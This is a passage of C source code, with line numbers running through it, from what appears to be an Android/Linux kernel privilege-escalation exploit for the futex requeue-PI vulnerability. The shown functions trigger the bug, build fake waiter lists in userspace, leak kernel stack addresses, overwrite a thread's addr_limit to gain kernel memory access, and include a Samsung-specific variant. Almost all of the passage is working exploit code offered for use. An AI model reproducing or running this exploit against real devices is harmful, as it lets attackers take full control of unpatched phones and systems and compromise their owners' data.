msg_iov[i].iov_base = (void *)hacked_node;
962
msg_iov[i].iov_len = 0x80;
963
}
964
965
//msg_iov[IOVSTACK_TARGET] will be our new waiter.
966
// iov_len must be large enough to fill the socket kernel buffer to avoid the sendmmsg to return.
967
968
msg_iov[config_iovstack].iov_base = (void *)hacked_node;
969
msg_iov[config_iovstack].iov_len = hacked_node_alt;
970
971
// The new waiter will be something like that:
972
// prio = hacket_node
973
// prio_list->next = hacked_node_alt
974
// prio_list->prev = hacket_node
975
// node_list->next = 0x7d
976
// node_list->prev = hacked_node
977
978
// hacked_node will be somethin < 0 so a negative priority
979
980
msgvec[0].msg_hdr.msg_name = databuf;
981
msgvec[0].msg_hdr.msg_namelen = 0x80;
982
msgvec[0].msg_hdr.msg_iov = msg_iov;
983
msgvec[0].msg_hdr.msg_iovlen = 8;
984
msgvec[0].msg_hdr.msg_control = databuf;
985
msgvec[0].msg_hdr.msg_controllen = 0x20;
986
msgvec[0].msg_hdr.msg_flags = 0;
987
msgvec[0].msg_len = 0;
988
989
sockfd = make_socket();
990
if (sockfd == 0) {
991
return NULL;
992
}
993
994
LOGD("[STACK MODIFIER] Going in WAIT_REQUEUE\n");
995
996
// Lets wait on lock1 to be requeued
997
syscall(__NR_futex, &lock1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &lock2, 0);
998
999
// Ok, at this point the vulnerability shoud be triggered.
1000
// We can modify the waiters list in the kernel.
1001
1002
LOGD("[STACK MODIFIER] Exiting from WAIT_REQUEUE\n");
1003
LOGD("[STACK MODIFIER] I'm going to modify the kernel stack\n");
1004
1005
// Use now a syscall deep to modify the waiter list.
1006
// sendmmsg -> sendmesg -> verify_iovec
1007
// verify_iovec will fille the iovstack structure of sendmesg and we know that
1008
// iovstack[IOVSTACK_TARGET] is at the same address of the waiter we can manipulate
1009
1010
while (1) {
1011
ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
1012
if (ret <= 0) {
1013
LOGD("[STACK MODIFIER] Sendmmsg Error\n");
1014
send_pipe_msg(ERROR);
1015
}
1016
LOGD("[STACK MODIFIER] Done\n");
1017
break;
1018
}
1019
LOGD("[STACK MODIFIER] Leaving\n");
1020
1021
return NULL;
1022
}
1023
1024
1025
void create_hacked_list(unsigned long hacked_node, unsigned long hacked_node_alt) {
1026
1027
*((unsigned long *)(hacked_node_alt - 4)) = 0x81; // prio (120 + 9)
1028
*((unsigned long *) hacked_node_alt) = hacked_node_alt + 0x20; // prio_list->next
1029
*((unsigned long *)(hacked_node_alt + 8)) = hacked_node_alt + 0x28; // node_list->next
1030
1031
*((unsigned long *)(hacked_node_alt + 0x1c)) = 0x85; // prio (120 + 13)
1032
*((unsigned long *)(hacked_node_alt + 0x24)) = hacked_node_alt; // prio_list->prev
1033
*((unsigned long *)(hacked_node_alt + 0x2c)) = hacked_node_alt + 8; // node_list->prev
1034
1035
// Alternative list
1036
1037
*((unsigned long *)(hacked_node - 4)) = 0x81;
1038
*((unsigned long *) hacked_node) = hacked_node + 0x20;
1039
*((unsigned long *)(hacked_node + 8)) = hacked_node + 0x28;
1040
1041
*((unsigned long *)(hacked_node + 0x1c)) = 0x85;
1042
*((unsigned long *)(hacked_node + 0x24)) = hacked_node;
1043
*((unsigned long *)(hacked_node + 0x2c)) = hacked_node + 8;
1044
1045
}
1046
1047
void reset_hacked_list(unsigned long hacked_node) {
1048
1049
*((unsigned long *)(hacked_node - 4)) = 0x81;
1050
*((unsigned long *) hacked_node) = hacked_node + 0x20;
1051
*((unsigned long *)(hacked_node + 8)) = hacked_node + 0x28;
1052
1053
*((unsigned long *)(hacked_node + 0x1c)) = 0x85;
1054
*((unsigned long *)(hacked_node + 0x24)) = hacked_node;
1055
*((unsigned long *)(hacked_node + 0x2c)) = hacked_node + 8;
1056
1057
}
1058
1059
1060
void *trigger(void *arg) {
1061
int ret;
1062
unsigned long readval;
1063
pid_t pid;
1064
int i, k;
1065
char buf[0x1000];
1066
int tid_counter = 0;
1067
unsigned int addr, setaddr;
1068
1069
setpriority(PRIO_PROCESS, 0, 5);
1070
1071
LOGD("[TRIGGER] Trigger pid %x\n", gettid());
1072
1073
// Acquire lock2 so when the thread will be requeued from lock1 to lock2 will be put in the queue
1074
syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
1075
1076
// Now requeue the stack_modifier thread from lock1 to lock2
1077
while (1) {
1078
ret = syscall(__NR_futex, &lock1, FUTEX_CMP_REQUEUE_PI, 1, 0, &lock2, lock1);
1079
if (ret == 1) {
1080
LOGD("[TRIGGER] Stack modifier requeued\n");
1081
break;
1082
}
1083
usleep(10);
1084
}
1085
1086
// Add a couple of waiters in the vulnerable kernel list
1087
1088
wake_actionthread(3);
1089
pid6 = wake_actionthread(6);
1090
pid7 = wake_actionthread(7);
1091
1092
// Now lock2 has this wait list: |6|<->|7|<->|12|
1093
1094
lock2 = 0;
1095
1096
// Trigger the vulnerability: requeue the stack modifier from lock2 to lock2
1097
syscall(__NR_futex, &lock2, FUTEX_CMP_REQUEUE_PI, 1, 0, &lock2, lock2);
1098
1099
// If everything went as expected at this point the stack modifier is going tu use a syscall to modify
1100
// the wait list for lock2
1101
1102
// Be sure he finished
1103
sleep(2);
1104
1105
// Now the new wait_list for lock2 should be: |6|<->|7|<->|-1..|<->hacked_list
1106
1107
// We can now start the list manipulation creating new node controlled by us
1108
// We build two chain: hacked_node and hacked_node_alt
1109
// Sometime the alignament of iovstack could be different so prio_list->next and prio_list->prev
1110
// could be switched.
1111
1112
create_hacked_list(hacked_node, hacked_node_alt);
1113
1114
// Now the new wait_list for lock2 should be: |6|<->|7|<->|-1..|<->|9|<->|13|
1115
// with waiters with prio 9 and 13 in our userspace
1116
1117
// Lets do something of interesting. Add a waiter and check wich list we are using.
1118
1119
readval = *((unsigned long *)hacked_node);
1120
tid_11 = wake_actionthread(11);
1121
1122
if (*((unsigned long *)hacked_node) == readval) {
1123
LOGD("[TRIGGER] Using hacked_node_alt.\n");
1124
hacked_node = hacked_node_alt;
1125
}
1126
1127
// Is it patched?
1128
if (*((unsigned long *)hacked_node) == readval) {
1129
LOGD("[TRIGGER] Device seems to be patched.\n");
1130
send_pipe_msg(ERROR);
1131
return 0;
1132
}
1133
1134
// Save the waiter address
1135
t11 = *((unsigned long *)hacked_node);
1136
1137
// Try to find a thred we can hack
1138
for(k=0; k<20; k++) {
1139
1140
is_kernel_writing = (pthread_mutex_t *)malloc(4);
1141
pthread_mutex_init(is_kernel_writing, NULL);
1142
1143
// Reset the hacked list
1144
reset_hacked_list(hacked_node);
1145
1146
// Leak a kernel stack pointer (a new created waiter)
1147
pid = wake_actionthread(11);
1148
1149
// Now we have the pointer of a waiter allocated on the stack. We can calculate the
1150
// thread_info struct in the kernel for that last called thread
1151
first_kstack_base = leaker_kstack_base = *((unsigned long *)hacked_node) & 0xffffe000;
1152
1153
LOGD("[TRIGGER] Send a signal to the first evil thread\n");
1154
pthread_mutex_lock(&is_thread_awake_lock);
1155
1156
kill(pid, 12);
1157
1158
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
1159
pthread_mutex_unlock(&is_thread_awake_lock);
1160
LOGD("[TRIGGER] First evil thread is now waiting\n");
1161
1162
sleep(1);
1163
1164
LOGD("[TRIGGER] First kernel stack base found at 0x%x\n", (unsigned int) first_kstack_base);
1165
1166
// Samsung exploitation
1167
if(config_new_samsung) {
1168
LOGD("[TRIGGER] Starting samsung...\n");
1169
addr = (unsigned long)mmap((unsigned long *)0xbef000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
1170
1171
LOGD("[TRIGGER] mmap done\n");
1172
if (addr != 0xbef000) {
1173
continue;
1174
}
1175
1176
reset_hacked_list(0xbeffe0);
1177
reset_hacked_list(hacked_node);
1178
1179
*((unsigned long *)0xbf0004) = first_kstack_base + config_offset + 1;
1180
*((unsigned long *)hacked_node) = 0xbf0000;
1181
1182
// Keep trace of the pending waiters
1183
remove_pid[remove_counter] = wake_actionthread(10);
1184
1185
readval = *((unsigned long *)0x00bf0004);
1186
1187
remove_waiter[remove_counter] = readval;
1188
remove_counter++;
1189
1190
munmap((unsigned long *)0xbef000, 0x2000);
1191
1192
LOGD("[TRIGGER] First step done: %lx\n", readval);
1193
1194
readval <<= 8;
1195
if (readval < KERNEL_START) {
1196
setaddr = (readval - 0x1000) & 0xfffff000;
1197
addr = (unsigned long)mmap((unsigned long *)setaddr, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
1198
1199
if (addr != setaddr) {
1200
continue;
1201
}
1202
1203
reset_hacked_list(readval - 0x20);
1204
*((unsigned long *)(readval + 4)) = first_kstack_base + config_offset;
1205
*((unsigned long *)hacked_node) = readval;
1206
1207
remove_pid[remove_counter] = wake_actionthread(10);
1208
1209
readval = *((unsigned long *)(readval + 4));
1210
// Save the waiter address
1211
remove_waiter[remove_counter] = readval;
1212
remove_counter++;
1213
1214
munmap((unsigned long *)setaddr, 0x2000);
1215
1216
LOGD("[TRIGGER] Samsung done: %lx\n", readval);
1217
}
1218
}
1219
else {
1220
reset_hacked_list(hacked_node);
1221
1222
// Use the prev pointer to execute a write in kernel space (the thread addr_limit)
1223
*((unsigned long *)(hacked_node + 0x24)) = first_kstack_base + 8;
1224
1225
tid_12 = wake_actionthread(12); // Will be in the user space hacked list
1226
1227
readval = *((unsigned long *)(hacked_node + 0x24));
1228
LOGD("[TRIGGER] New first stack limit 0x%x\n", (unsigned int)readval);
1229
1230
remove_pid[remove_counter] = tid_12;
1231
remove_waiter[remove_counter] = readval;
1232
remove_counter++;
1233
}
1234
1235
// At this point we have a thread with an addr_limit = readval waiting to write something to us.
1236
// Try to create a new thread to be modified by the first one
1237
for(i = 0; i < loop_limit; i++) {
1238
reset_hacked_list(hacked_node);
1239
pid = wake_actionthread(10); // Will be in the user space hacked list
1240
1241
LOGD("[TRIGGER] Found value 0x%x with tid %d\n", (unsigned int) *((unsigned long *)hacked_node), pid);
1242
// Be sure the first can modify the second one
1243
if (*((unsigned long *)hacked_node) < readval) {
1244
1245
#ifdef DEBUG
1246
for(k = 0; k < remove_counter; k++) {
1247
LOGD("[TRIGGER] Remove tid %d with waiter %x\n", remove_pid[k], (unsigned int) remove_waiter[k]);
1248
}
1249
#endif
1250
1251
final_kstack_base = *((unsigned long *)hacked_node) & 0xffffe000;
1252
LOGD("[TRIGGER] Found a good thread to hack: 0x%x\n", (unsigned int) final_kstack_base);
1253
LOGD("[TRIGGER] Current hacked_node %x\n", (unsigned int) hacked_node);
1254
1255
pthread_mutex_lock(&is_thread_awake_lock);
1256
1257
kill(pid, 12);
1258
1259
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
1260
pthread_mutex_unlock(&is_thread_awake_lock);
1261
1262
sleep(2);
1263
1264
reset_hacked_list(hacked_node);
1265
// Now we have a thread waiting to write something in the second thread.
1266
// The second thread is waiting to receive a signal by the first one
1267
1268
// Tell the first thread to hack the second one
1269
write(HACKS_fdm, buf, 0x1000);
1270
1271
while (1) {
1272
sleep(10);
1273
}
1274
}
1275
if(config_force_remove) {
1276
// Trace the pending waiters
1277
remove_pid[remove_counter] = pid;
1278
remove_waiter[remove_counter] = *((unsigned long *)hacked_node);
1279
remove_counter++;
1280
}
1281
}
1282
}
1283
stop_for_error();
1284
return NULL;
1285
}
1286
1287
1288
int waiter_exploit() {
1289
1290
pthread_t l1, l2, l3;
1291
1292
LOGV("uid %d\n", getuid());
1293
1294
if (config_buf[0] == 'c') {
1295
LOGV("no config supplied %s\n", config_buf);
1296
return 1;
1297
}
1298
1299
config_new_samsung = *(int*)&config_buf[0];
1300
config_iovstack = *(int*)&config_buf[4];
1301
config_offset = *(int*)&config_buf[8];
1302
config_force_remove = *(int*)&config_buf[12];
1303
1304
pipe(pipe_fd);
1305
1306
pid_t pipe_pid = fork();
1307
if(pipe_pid != 0) {
1308
int pipe_server_ret = start_pipe_server();
1309
1310
int status;
1311
waitpid(pipe_pid, &status, 0);
1312
return pipe_server_ret;
1313
}
1314
1315
sleep(2);
1316
close(pipe_fd[0]);
1317
1318
// First we create two possible hacked list of waiters.
1319
1320
addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
1321
addr += 0x800;
1322
hacked_node = addr;
1323
if ((long)addr >= 0) {
1324
LOGD("[TOWEL] first mmap failed?\n");
1325
send_pipe_msg(ERROR);
1326
return 1;
1327
}
1328
1329
addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
1330
addr += 0x800;
1331
hacked_node_alt = addr;
1332
if (addr > 0x110000) {
1333
LOGD("[TOWEL] second mmap failed?\n");
1334
send_pipe_msg(ERROR);
1335
return 1;
1336
}
1337
1338
// Start the socket server we will use to hook inside the sendmmsg syscall
1339
1340
LOGD("[TOWEL] Creating socket\n");
1341
pthread_create(&l1, NULL, accept_socket, NULL);
1342
1343
sleep(1);
1344
1345
LOGD("[TOWEL] Starting exploitation\n");
1346
1347
pthread_mutex_lock(&done_lock);
1348
pthread_create(&l2, NULL, stack_modifier, NULL);
1349
pthread_create(&l3, NULL, trigger, NULL);
1350
pthread_cond_wait(&done, &done_lock);
1351
1352
LOGD("[TOWEL] All Done, exiting PID %d\n", getpid());
1353
send_pipe_msg(ALL_DONE);
1354
sleep(1);
1355
1356
return 0;
1357
}
1358
1359
1360